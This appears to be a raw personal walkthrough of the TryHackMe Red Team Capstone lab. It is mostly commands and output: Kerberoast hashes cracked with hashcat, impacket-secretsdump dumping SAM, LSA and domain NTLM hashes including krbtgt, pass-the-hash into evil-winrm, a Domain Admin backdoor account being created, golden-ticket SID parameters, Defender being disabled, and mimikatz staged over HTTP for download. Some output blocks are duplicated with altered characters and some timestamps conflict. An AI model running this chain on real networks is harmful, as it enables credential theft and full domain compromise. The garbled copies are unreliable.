\$krb5tgs\$23\$\*svcMonitor\$CORP.THERESERVE.LOC\$corp.thereserve.loc/svcMonitor\*\$d46ff60c3e3a868a65d242e5190064b2 \$cda4b9598513eac287ffcc05bfe8e40bf160b0824b5d9ef454e78113e67a28018d64f60a49c3598533659b3b15ec2ac4bb47b80df9e060015e8d4d037233 d9000fb53ad5a7dd300c1a947 224dab617c9624d8c562465b5cdde7df7b9f192e7eda8dfe538e994e9a3af46c639dc3a3a58d75efd4c4417538918205e69f2ce5d13cc01b43bc67fad76d0 75c7904ec5075212df1f9a5c78 e39ac10bf605dba2ba4e43e4f7ca0cbe6bcf1a36ffad83a64bb3176d88acb55db8f23b1d1ef903de9425bca126ec7d62898a26719b60e3912e390ea84c20382 32ea14026cae53647ff96c5ff4f 9d59981bdc91b4fdd2bf71fa0bdfc28f61f5387c651885d5ec9054ee7724734c45a13a03bdaede30b2e975aea5ddcd82f8b64051cea0ff8a1a327b6ce23498896f5489 e2becbdcf90ee0bbf7deac7aea a9fd8f3b12e6ffe332951f7b96e4022c7a15d3fe391cfcc69ddbb7d3373fa1585c8793ee7429d4a5ed017ac2d2fc9d5d6f39a7edcbdae7b18d6c07ce2b82 5bfab067135e5505c26f0e21a4b1 1006c6d9410013c3872c80b577ece50d90eefad31407add02056d5211d596617778074526982ed4c11ed597c78c486bb62125a91e86199671339564941e 552d25240ba826bd770cb75 5d73d26880049c8d1dd144b88686c15083e47e2828f6f39a074ddae991d09c1c7270dfcded4c24a4e55a97e91c5269a19f9784c53bf39d6d5310db98021d8f 6a8d5d4114c87e2696cf84722 0d65005a0c91908fb2a60d1f5387c651885d5ec9054ee7724734c45a13a03bdaede30b2e975aea5ddcd82f8b64051cea0ff8a1a327b6ce23498896f5489 e2becbdcf90ee0bbf7deac7aea 67e3a323b03b3707c094ca0d7641b18d8ac0f54c121c3a91ed3caa785eae838b74986851e599ecd06256898b275f9ef733ca829335d65a5858d884c9fb7ea 23b076a15fa04e8e6de1c14b1 45a3c3218a5044493d0298456280e732991c5159f8cd52369dce85000e7c8de61d70C0cf3abcea939f652833d3ee08e7d8c8e575e6b11996cff5c31142f26 36a4940b2685580cb41573d4c 00561e3fc4ae79549f8f27e6adef4e967ce46b32a69d2a116c3cc6785c15b59f9d062e7c24395a64e70e4ccd46c4276a08f2a2b964191b6e9916f7e6d982 f13a53c06c505e98e0efa2035d c048e31522b26f54dd07b4d1072aacdf579e79440ce324af9cf9a416e97079824ad2d175d91eacacbbae6972edd172615ce3859980f3a424003453acd3123f60d6 14727eb5ce50d41c151363733 650b4e97cdf3adfac557aed9013bcd74d9b859ec212e1c7a43002fb50b1406d6e954075f3cbbb0cfd206c83c947d7ecd9ae74d59f9b3dcd1c1f5828ad57c 10d706693633ff32ffd13d1e46e 7ae974028bb612a94739445c5f3180a08ac4096ea2b684633ed4c8afe649fb15ab336b2f062df0b055ce2a20282ac5593c209c2514d17659f01638f0bf8db 22f4bfd88435654248537d450a d619d9e772c7a7b41e112c7a566600d489999a154bed89353ab97f672c7ffbf0be46b0f117c2b3206e921e9c789407596f56c32fcd8a5229013ad81999 2efd1312ef0898d4fec7982ad8 760d90023e1ee39a3f2d6b0f15387c651885d5ec9054ee7724734c45a13a03bdaede30b2e975aea5ddcd82f8b64051cea0ff8a1a327b6ce23498896f5489 e2becbdcf90ee0bbf7deac7aea 1d77f9d226fa11f256dbc6b18e1f30f3a6ed2fc394a700b4a654ea929b69bc248b3bba91cec82ff395d9fd32af33c03e7d68097802ecdeae6bb554924edf0 ae1f6716c31c88e795f0824fab71 b8cc99e18f8d63aaa32bb404b51f9a4d609e1dd8438106351ca7df54bb7639f2c368fa5d800d8e6a24465a88cd441539886d4ac46802e7c620ec1ee7267f 984d81666cb7567ee337395d3 19225ffc504ce23931018d05fdac8c6409b9b4b9cd5bf43b0dbc798b08a29d6e65bd7a0be7012486458b2a623d6663b9699a455964e6e22f4a343b2cda4b e7c93e9f0dd43fc238a676cc7 e340ff135876cd98da0b703b40d8ec9381c2f208dd878944f15403b663ab3cd27e31fb80dda03c7321e1d0e52126fc01568bc55ae68a0f62d5e7de2 0bd154ad6f59a52d17387b69e bbc205aa61ea94f58f1b294674c39fddb8141fc0a0fa46bb7d10ba35640f6cce72c28ad15e4a959646f57badf5b5db704f6a843b720bf41bf9b12bacb8aeae fd4e2c5ea146c232b7d19220780 6de39050796a957464da81f8bc6d780fada8f568f5bafb172d5eeda9101f1265898c0e694392449cc32a88461f5d804b4fc94e113e3b1b6c785079c81375d 807e97aeddcc747c9d164f95680 df960e1de84837174695d3829f1ad61703e381f3802d8c50717f91c93b1cf90e4368632df

\$krb5tgs\$23\$\*svcOctober\$CORP.THERESERVE.LOC\$corp.thereserve.loc/svcOctober\*\$1695fcd86157e8e5baff53ff1c9dbbac \$375ba865e8592861b631dd045563e1afdcfb6dbb297c071b496b7df0a7ba1a6f6df392b05fcd6a9abec523417a7b59a0215d4e3a443a87351c564150ee5d 8b6339f19bc4f08d0a3576f24 af1fb219fb284e10a695805033dafdb3e55ba9a3371cb4ddf21641beab0386d5499c0aa51694805350992940f65184aaa207a3409e824abac69fd3016eb6 09f0d273c6435a2f70d92f11b5 b0f0fb68e858957dc088a40aa9fda0ce88fb290ccb0e196ea14e8692554a431af63f4e72a399db2e7c11a2b89d9cb027ef5cc1ce9c36b41961cbb1d3ef6c3 6f667e917586cac72def08dc74f4 16a3c9a5e26f54dd07b4d1072aacdf579e79440ce324af9cf9a416e97079824ad2d175d91eacacbbae6972edd172615ce3859980f3a424003453acd3123f60d6 14727eb5ce50d41c151363733 650b4e97cdf3adfac557aed9013bcd74d9b859ec212e1c7a43002fb50b1406d6e954075f3cbbb0cfd206c83c947d7ecd9ae74d59f9b3dcd1c1f5828ad57c 10d706693633ff32ffd13d1e46e 7ae974028bb612a94739445c5f3180a08ac4096ea2b684633ed4c8afe649fb15ab336b2f062df0b055ce2a20282ac5593c209c2514d17659f01638f0bf8db 22f4bfd88435654248537d450a d619d9e772c7a7b41e112c7a566600d489999a154bed89353ab97f672c7ffbf0be46b0f117c2b3206e921e9c789407596f56c32fcd8a5229013ad81999 2efd1312ef0898d4fec7982ad8 760d90023e1ee39a3f2d6b0f15387c651885d5ec9054ee7724734c45a13a03bdaede30b2e975aea5ddcd82f8b64051cea0ff8a1a327b6ce23498896f5489 e2becbdcf90ee0bbf7deac7aea 1d77f9d226fa11f256dbc6b18e1f30f3a6ed2fc394a700b4a654ea929b69bc248b3bba91cec82ff395d9fd32af33c03e7d68097802ecdeae6bb554924edf0 ae1f6716c31c88e795f0824fab71 b8cc99e18f8d63aaa32bb404b51f9a4d609e1dd8438106351ca7df54bb7639f2c368fa5d800d8e6a24465a88cd441539886d4ac46802e7c620ec1ee7267f 984d81666cb7567ee337395d3 19225ffc504ce23931018d05fdac8c6409b9b4b9cd5bf43b0dbc798b08a29d6e65bd7a0be7012486458b2a623d6663b9699a455964e6e22f4a343b2cda4b e7c93e9f0dd43fc238a676cc7 e340ff135876cd98da0b703b40d8ec9381c2f208dd878944f15403b663ab3cd27e31fb80dda03c7321e1d0e52126fc01568bc55ae68a0f62d5e7de2 0bd154ad6f59a52d17387b69e bbc205aa61ea94f58f1b294674c39fddb8141fc0a0fa46bb7d10ba35640f6cce72c28ad15e4a959646f57badf5b5db704f6a843b720bf41bf9b12bacb8aeae fd4e2c5ea146c232b7d19220780 6de39050796a957464da81f8bc6d780fada8f568f5bafb172d5eeda9101f1265898c0e694392449cc32a88461f5d804b4fc94e113e3b1b6c785079c81375d 807e97aeddcc747c9d164f95680 df960e1de84837174695d3829f1ad61703e381f3802d8c50717f91c93b1cf90e4368632df

```
hashcat -m 0 -m 13100 svcbackup.txt /usr/share/wordlists/rockyou.txt -O
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEP, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]

* Device #1: cpu-sandybridge-Intel(R) Core(TM) i7-8650U CPU @ 1.90GHz, 1435/2934 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 31

Hashes: 5 digests; 5 unique digests, 5 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Not-Iterated

Watchdog: Temperature abort trigger set to 90C

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename ... /usr/share/wordlists/rockyou.txt
* Passwords ... 14344385
* Bytes ... 139921507
* Keyspace ... 14344385

$krb5tgs$23$*svcScanning$CORP.THERESERVE.LOC$corp.thereserve.loc/svcScanning*$5b2372e7d0b460afald19a2a88b392e4$cl9a8c580d20cdf3ee2630690b3cc82584481295a73af4
44fe8b3666ebba50d47d88d9daadaad4fc2890334552706e753b08b8dbef8119a2c88269b3a98356c76f0f3032d4254a2b4c4f0e9f9dc299c92c62bdfb869b320e86ceab18f85a43d76733584dfbf
9171a05b3dfbcab267963a17d91e31495e37c4383f8fc3050153798d75d771c082bb994a0a8abc34ba660f71b2173e23cf8c09793c4a0aa0911a816f8dfcfc40df3b8c5b3996a8f08affbf88ace
46e065d20231a16c08a3d914d90ed97443ffed25dc0f1162661dccc3d8f52e9988a8aa166e59cc6258877ff949a38ead3caf8b6391e8bf381b10b9aa69d4c9c2662cb526aad61cc78a26bf9d01924
02feab87a9e1684e4e5a174e68b320700f411b7fce6a0db5e74250ff92159528130d5bec62ed1acc75e0db36d538aa3855a4d517f2f1de2ba55a61d30f724727cfd37e597df58a5cc518a
77fc925b1b70752e5bd7b5d2fad272873991178fba9d79555ed768da2e40d2234387ab6b91ef935e5249c82836270460fba32ecc02a9f1a0b083ab523078a70f0e4db2b5bf9d81a85da
3c2dc1126494274aa42848a77005d2a090c5a0e6dff083c9e584ee731a1ddfd624c0483887e85db7bba5215eb8babf66d79c59a3f981ac6ff827dd21a5aa9a90b9c3b36b61c45e46759e72b41e
7b8208d6769e6736d0074e7d083baaf888dbded6e5c203c2d0eb1f07726ac96ab9a5560f8e8c24bf72e1a38afe1af9f98e1a235daa6496f52e7e8d98f2b88426c50d929dc39d4964f26a6e12b7bc7c
49c5aeffbf9aa284e141156b999a1cc269429b74263a7527f9d3f486fbb4a9f9dfb7d74e9be7b790f60abac29e48f8f9d3042689e769b2beb24e9b0ddf2bba7826cbfbf8717bacfd3c863785a983032
68201c125de3f48da1033b0f90700b4aeb9a455896a19f64e79afbd7526499e9e975eadfb9c342242b609c5466c2d186e79d2b8814a41db838bdee53c1f19491c9ca44521a0695b37edba4a72988
e0a59035cbbaa6ddf5c4e8dcf148b333b335510e1b6067dbc6183735deaad9701364f31b2b6da428600c209249577d0a0b5a73900879d0c60a88d0ff298831682691d528addf1351568e5747177c
5ba2f09662d28e32b62b82904bf0483719f472e285467d28f84e82d8ba1f7d602bdfb343b8270b14020321534803f65133a273321a0cf0d88adaef4dca44c3dee70ff7b7c0e434f67dbca0bf8ade
76b85190872a3ca8773ca8ecb076c052b0cb0fb736c1b678cabca36fb2bee1513fed7dc6504a71c31b0b33890c53313eece2a44ca20926dfaa1f89ab6e3bbcb4c1eef10064de3402f1710a261
e916d10c3e665ace9a2f80e490767011f4de0e3976279757a33766de3099a8f2d2c74114f78147ceaf81ebcb0843099b3d45c5ee6cf2f112d345d4c26d6277371add15b37567da014114410668
f6d5055ba90b1f9e391f6e69a3a6bdcdf4245a84c63783851092371e34f7f06b6f3ae3d0e3093476afe3904d88db0ebdb:Password!!
Cracking performance lower than expected?
```

svcScanning:Password1!

```

proxychains ./bloodhound.py -u corp.thereserve.loc -u svcScanning -p 'Password1!' -c all -ns 10.200.52.102 --dns-tcp
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] DLL init: proxychains-ng 4.16
w/tyler/.local/lib/python3.11/site-packages/requests/_init_.py:102: RequestsDependencyWarning: urllib3 (1.26.12) or chardet (5.
version!
RequestsDependencyWarning: urllib3 (1.26.12) or chardet (5.1.3) is not supported by the version of requests (2.31.0)
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:53 ... OK
! Found AD domain: corp.thereserve.loc
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:53 ... OK
! Could not find a global catalog server, assuming the primary DC has this role
! This gives errors, either specify a hostname with --gc or disable gc resolution with --disable-autogc
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:53 ... OK
! Getting TGT for user
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:88 ... OK
! Connecting to LDAP server: corpd.corp.thereserve.loc
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:53 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... corpd.corp.thereserve.loc:88 ← socket error or timeout!
! Kerberos auth to LDAP failed, trying NTLM
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:389 ... OK
! Found 1 domains
! Found 3 domains in the forest
! Found 5 computers
! Connecting to LDAP server: corpd.corp.thereserve.loc
[proxychains] Strict chain ... 127.0.0.1:9050 ... corpd.corp.thereserve.loc:88 ← socket error or timeout!
! Kerberos auth to LDAP failed, trying NTLM
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:389 ... OK
! Connecting to GC LDAP server: corpd.corp.thereserve.loc
[proxychains] Strict chain ... 127.0.0.1:9050 ... corpd.corp.thereserve.loc:88 ← socket error or timeout!
! Kerberos auth to LDAP failed, trying NTLM
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:3268 ... OK

```

```

error or timeout!
INFO: Kerberos auth to LDAP failed, trying NTLM
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:389 ... OK
INFO: Connecting to GC LDAP server: corpd.corp.thereserve.loc
[proxychains] Strict chain ... 127.0.0.1:9050 ... corpd.corp.thereserve.loc:88 ← socket error or timeout!
INFO: Kerberos auth to LDAP failed, trying NTLM
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.52.102:3268 ... OK
INFO: Found 883 users
INFO: Found 58 groups
INFO: Found 7 gpos
INFO: Found 19 ous
INFO: Found 19 containers

```

```

[kali@kali]~/TryHackMe/RedTeam_Capstone
$ proxychains3 impacket-secretsdump corp.thereserve.loc/svcScanning:Password1!@10.200.110.31
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.110.31:445 ... OK
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x90cfc2fcdcfed25ff0ed9b3d14a846
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e2c7044e93cf7e4d8697582207d6785c::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1::
THMSetup:1008:aad3b435b51404eeaad3b435b51404ee:d37f688ca5172b5976b714a8b54b40f4::
HelpDesk:1009:aad3b435b51404eeaad3b435b51404ee:f6ca2f672e731b37150f0c5fa8caffff::
sshd:1010:aad3b435b51404eeaad3b435b51404ee:48c62694fd5bbca286168e2199f9af49::
[*] Dumping cached domain logon information (domain/username:hash)
CORP.THERESERVE.LOC/Administrator:$DCC2$10240#Administrator#b08785ec00370a4f7d02ef8bd9b798ca: (2023-04-01 03:13:47)
CORP.THERESERVE.LOC/svcScanning:$DCC2$10240#svcScanning#d53a09b9e4646451ab823c37056a0d6b: (2025-05-03 21:55:07)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
CORP\SERVER1$aes256-cts-hmac-sha1-96:f928882843886252c4f62d4b3b3514a42769f5dbad411848859e07714787d470
CORP\SERVER1$aes128-cts-hmac-sha1-96:b1ed9bb428ca443ebf6cafbaae16311
CORP\SERVER1$des-cbc-md5:6b0b4a5edad93189
CORP\SERVER1$plain_password_hex:849d5f8f66ba6d0f4d2156e906a079a547493cedd63309cf2ef8f0f0546f9ac95f6ad80805f9be871106a8c
41335d3276e2b1d6e26326a357858247f627fb4c1910b99c24452f8dfde80aebae6eeac02bdd8dc3e3df83db9e3e1d763f5b70430cb17f9b277
92a0e27ca0a515fcd24053a8779447722a4ab393618267325a8c7e1e4edcf72a4a04a02bdadea2210477f2ed5d12615d35aaef7a9e
1974abfd8dc3b3138f7bae7c94c92f1782371b1c6086fc7995ccebdc3df005a221d694422591933c94a24455325aae56b3bf8d5554672646c3fec
7248dfe9885d084767f773bd7221a9
CORP\SERVER1$aad3b435b51404eeaad3b435b51404ee:b5df08b2e538866fb752ccfc99bebbcc::
[*] DPAPI_SYSTEM
dpapi_machinekey:0xb4cfb5032a98c1b279c92264915da1fd3d6b1a8d
dpapi_userkey:0x3cddfcb2ba786e51edf1c732a21ffa1f3d19aa382
[*] NLKM
0000 00 02 8E 67 54 58 89 81 C9 53 89 38 46 A2 83 86 ...gTX...S.[f..f
0010 04 38 95 80 92 70 67 78 87 10 F9 20 A5 55 87 A3 ...;...gx...-U..
0020 61 AA 4D 85 95 85 43 86 E3 12 9E C4 91 CF 9A 58 a.M...C.....[
0030 0B 86 0D AE FA D3 A1 E0 D8 66 3D 19 75 A2 D1 B2 .....A..f..u...
NLKM:dd2a6f54589b1c93b93b46a2b366da3b958e927d6778b71df92da353b7a361aa4d8695854386e3129ec491cf9a5dbdbbdeafad341e0d8663d1975a2d1b2
[*] _SC_SYMC
svcBackupscorp.thereserve.loc:q9nzssaF0HdQUV3QvG6
[*] Cleaning up ...
[*] Stopping service RemoteRegistry

```

[\*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e2c7044e93cf7e4d8697582207d6785c::  
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::  
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::  
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1::  
THMSetup:1008:aad3b435b51404eeaad3b435b51404ee:d37f688ca5172b5976b714a8b54b40f4::  
HelpDesk:1009:aad3b435b51404eeaad3b435b51404ee:f6ca2f672e731b37150f0c5fa8caffff::  
sshd:1010:aad3b435b51404eeaad3b435b51404ee:48c62694fd5bbca286168e2199f9af49::

[\*] Dumping cached domain logon information (domain/username:hash)

CORP.THERESERVE.LOC/Administrator:\$DCC2\$10240#Administrator#b08785ec00370a4f7d02ef8bd9b798ca: (2023-04-01 03:13:47)  
CORP.THERESERVE.LOC/svcScanning:\$DCC2\$10240#svcScanning#d53a09b9e4646451ab823c37056a0d6b: (2025-05-03 21:55:07)

[\*] Dumping LSA Secrets

[\*] \$MACHINE.ACC

CORP\SERVER1\$aes256-cts-hmac-sha1-96:f928882843886252c4f62d4b3b3514a42769f5dbad411848859e07714787d470  
CORP\SERVER1\$aes128-cts-hmac-sha1-96:b1ed9bb428ca443ebf6cafbaae16311  
CORP\SERVER1\$des-cbc-md5:6b0b4a5edad93189  
CORP\SERVER1

```
$:plain_password_hex:849d58f66ba6d0fafd2156e806a079a547493cedd63309cf2ef8f0f0546f9ac95f64d80805f9be871106a8c41335d327e62b71de 26326ad357058247f627fb4c1919b
99c24452f8dfde800aeba68ee8c02b6dd8dc3e3df83db9e3ec1d763f55b70430cb17f9b277834a60e73c0a045f5cdca24853a07a57944f7523a4a4b393618 3a7635a0ce7e1e1e6cfd7a4a60
e402bdaddeea222b4f7f2ed5df12d115d36aeea7a05e197a4bfdbdc3b3138f7bae7c94c92f1782371b1c68060fc7995ccbebc3df005a221d694422591933c9 4a24455325aee56b3bbf0d555
4672646c3fec7248dfef9886bd084767f7f3bdd7221a9
CORP\SERVER1$:aad3b435b51404eeaad3b435b51404ee:b5df05b2e538866fb752ccfc99beb0ce:::
```

```
[*] DPAPI_SYSTEM
```

```
dpapi_machinekey:0xb4cfb5032a98c1b279c92264915da1fd3d8b1a0d
```

```
dpapi_userkey:0x3cddfc2ba786e51edf1c732a21ffa1f3d19aa382
```

```
^
```

```
[*] NL$KM
```

```
0000 8D D2 8E 67 54 58 89 B1 C9 53 B9 5B 46 A2 B3 66 ...gTX...S.[F..f
```

```
0010 D4 3B 95 80 92 7D 67 78 B7 1D F9 2D A5 55 B7 A3 ;...]gx...-U..
```

```
0020 61 AA 4D 86 95 85 43 86 E3 12 9E C4 91 CF 9A 5B a.M...C.....[
```

```
0030 D8 BB 0D AE FA D3 41 E0 D8 66 3D 19 75 A2 D1 B2 .....A..f=.u...
```

```
NL$KM:8dd28e67545889b1c953b95b46a2b366d43b9580927d6778b71df92da555b7a361aa4d8695854386e3129ec491cf9a5bd8bb0daefad341e0d8663d1 975a2d1b2
```

```
[*] _SC_SYNC
```

```
svcBackups@corp.thereserve.loc:q9nzssaFtGHdqUV3Qv6G
```

```
(kali@kali)~[/TryHackMe/RedTeam_Capstone]
$ proxychains impacket-secretsdump corp.thereserve.loc/svcBackups:q9nzssaFtGHdqUV3Qv6G@10.200.118.102
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.118.102:445 ... OK
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTOS.DLL secrets
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.118.102:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.118.102:49667 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d3d4edcc015856e386074795aea86b3e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0c757a3445ac9a65454f3ac529ede:::
TLMSetup:1008:aad3b435b51404eeaad3b435b51404ee:0ea3e204f310f846e282b0c7f9ca3af2:::
lisa.moore:1125:aad3b435b51404eeaad3b435b51404ee:e4c1c1ba3b6dbdaf5b08485ce9cb1cf:::
lisa.jenkins:1126:aad3b435b51404eeaad3b435b51404ee:9aef2aa6af7f6397e4164b40afb88eef:::
charlotte.smith:1127:aad3b435b51404eeaad3b435b51404ee:1f9b5ecdf08d6f0c39a2255d99de7c6a:::
donald.ward:1128:aad3b435b51404eeaad3b435b51404ee:64f12cdda88057e06a81b54e73b949b:::
gail.jones:1129:aad3b435b51404eeaad3b435b51404ee:64f12cdda88057e06a81b54e73b949b:::
chloe.smith:1130:aad3b435b51404eeaad3b435b51404ee:cc0254d258319ab1250621206b2b6b86:::
```

```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d3d4edcc015856e386074795aea86b3e:::
7497376f8ca3ff0d1a1fab64d49c9364
```

```
hashcat -m 0 -a 0 d3d4edcc015856e386074795aea86b3e /usr/share/wordlists/rockyou.txt
```

```
(kali@kali)~[/TryHackMe/RedTeam_Capstone]
$ proxychains evil-winrm -u Administrator -H d3d4edcc015856e386074795aea86b3e -i 10.200.118.102
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#remote-path-completion

Info: Establishing connection to remote endpoint
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.118.102:5985 ... OK
evil-winrm* PS C:\Users\Administrator\Documents>
```



```

*Evil-WinRM* PS C:\Windows\Temp> NEW-ADUser omarahmed
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.118.102:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.118.102:5985 ... OK
*Evil-WinRM* PS C:\Windows\Temp> net user omarahmed
User name
Full Name
Comment
User's comment
Country/region code      000 (System Default)
Account active            No
Account expires          Never
Password last set        5/4/2025 1:01:58 AM
Password expires         6/15/2025 1:01:58 AM
Password changeable      5/5/2025 1:01:58 AM
Password required        Yes
User may change password Yes
Workstations allowed     All
Logon script
User profile
Home directory
Last logon               Never
Logon hours allowed      All
Local Group Memberships
Global Group memberships *Domain Users
The command completed successfully.
*Evil-WinRM* PS C:\Windows\Temp>

```

```

1 Set-ADAccountPassword -Identity omarahmed -OldPassword -NewPassword (ConvertTo-SecureString -AsPlainText
"Password1#" -Force)

```

```


*Evil-WinRM* PS C:\Users\Administrator\Documents> Add-ADGroupMember -Identity "Domain Admins" -Members omarahmed
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.223.102:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.223.102:5985 ... OK

```

```

*Evil-WinRM* PS C:\Users\Administrator\Documents> Set-ADAccountPassword -Identity omarahmed -NewPassword (ConvertTo-SecureString -AsPlainText
ext "Password1#" -Force)
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.118.102:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.118.102:5985 ... OK
*Evil-WinRM* PS C:\Users\Administrator\Documents> Enable-ADAccount -Identity "omarahmed"
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.118.102:5985 ... OK
[proxychains] Strict chain ... 127.0.0.1:9050 ... 10.200.118.102:5985 ... OK
*Evil-WinRM* PS C:\Users\Administrator\Documents> net user omarahmed /admin
net.exe : The option /ADMIN is unknown.
+ CategoryInfo          : NotSpecified: (The option /ADMIN is unknown:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
The syntax of this command is: NET USER[username [password | *] [options]] [/DOMAIN]          username {password | *} /ADD [options] [/DOMAIN]
N)          username [/DELETE] [/DOMAIN]          username [/TIMES:{times | ALL}]          username [/ACTIVE: {YES | NO}] More help is availab
*Evil-WinRM* PS C:\Users\Administrator\Documents> net user omarahmed /domain
User name
Full Name
Comment
User's comment
Country/region code      000 (System Default)
Account active            Yes
Account expires          Never
Password last set        5/4/2025 1:10:57 AM
Password expires         6/15/2025 1:10:57 AM
Password changeable      5/5/2025 1:10:57 AM
Password required        Yes
User may change password Yes
Workstations allowed     All
Logon script
User profile
Home directory
Last logon               Never
Logon hours allowed      All
Local Group Memberships
Global Group memberships *Domain Users          *Domain Admins
The command completed successfully.
*Evil-WinRM* PS C:\Users\Administrator\Documents>

```



# ROOTDC

The FQDN of the domain:

The Security identifier (SID) of the domain: The username of the account we want to impersonate: Administrator

the KRBTGT password hash: 0c757a3445acb94a654554f3ac529ede

The SID of the child domain controller, which we will impersonate in our forged TGT  
S-1-5-21-170228521-1485475711-3199862024-1009


The SID of the Enterprise Admins in the parent domain, which we will add as an extra SID to our forged TGT  
S-1-5-21-1255581842-1300659601-3764024703-519

Here we try to stop firewall in cmd

```
C:\Windows\system32>REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
The operation completed successfully.
```

```
PS C:\Windows\system32> Set-MpPreference -DisableRealtimeMonitoring $true
PS C:\Windows\system32>
```

I should first get off the av



```
(kali@kali)-[~/RedTeam_Capstone/Tools/mimikatz_trunk/x64]
$ ls
midrv.sys* mimikatz.exe* mimilib.dll* mimispool.dll*

(kali@kali)-[~/RedTeam_Capstone/Tools/mimikatz_trunk/x64]
$ sudo python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080
10.200.118.12 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.12 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.12 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.12 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.12 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.12 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.12 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.12 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.12 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.12 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0

10.200.118.102 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.102 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
10.200.118.102 - - [04/May/2016:12:00:00] "GET / HTTP/1.1" 200 0
